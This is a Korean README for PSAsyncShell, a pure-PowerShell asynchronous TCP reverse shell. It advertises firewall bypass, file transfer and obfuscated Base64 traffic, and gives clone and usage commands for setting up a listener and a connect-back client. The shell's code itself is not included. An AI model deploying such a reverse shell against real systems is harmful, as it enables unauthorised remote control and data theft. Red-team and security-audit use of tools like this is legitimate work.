
비동기 TCP 리버스 셸 - 순수 PowerShell로 구현되어 비차단 I/O를 통해 방화벽을 우회하며, 명령 기록, 파일 업로드/다운로드, 난독화된 Base64 트래픽을 지원합니다.

PSAsyncShell은 순수 PowerShell로 작성된 비동기 TCP 리버스 셸입니다.
다른 리버스 셸과 달리 모든 통신 및 실행 흐름이 비동기 방식으로 처리되어, 일부 방화벽 및 이러한 종류의 원격 연결에 대한 일부 대응 조치를 우회할 수 있습니다.
또한 이 도구는 명령 기록, 화면 지우기, 파일 업로드 및 다운로드, 청크를 통한 정보 분할, 역 Base64 URL 인코딩 및 난독화된 트래픽을 지원합니다.
전체 저장소를 복제하거나 zip 파일을 다운로드하는 것을 권장합니다. 다음 명령어를 실행하여 수행할 수 있습니다:
git clone https://github.com/JoelGMSec/PSAsyncShell
.\PSAsyncShell.ps1 -h
____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/
---------------------- by @JoelGMSec -----------------------
Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls
Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client
.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server
Warning: All data will be sent unencrypted
Upload function doesn't use MultiPart
https://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona
이 프로젝트는 GNU 3.0 라이선스를 따릅니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 도구는 Joel Gámez Molina // @JoelGMSec에 의해 처음부터 설계 및 제작되었습니다.
이 소프트웨어는 어떠한 종류의 보증도 제공하지 않습니다. 사용은 교육 환경 및 클라이언트의 동의를 받은 보안 감사에만 전용됩니다. 오용이나 이로 인해 발생할 수 있는 손해에 대해 저는 책임을 지지 않습니다.
자세한 정보는 Twitter에서 @JoelGMSec 또는 블로그 darkbyte.net에서 찾을 수 있습니다.
커피 한 잔 사주시면 제 작업을 후원하실 수 있습니다: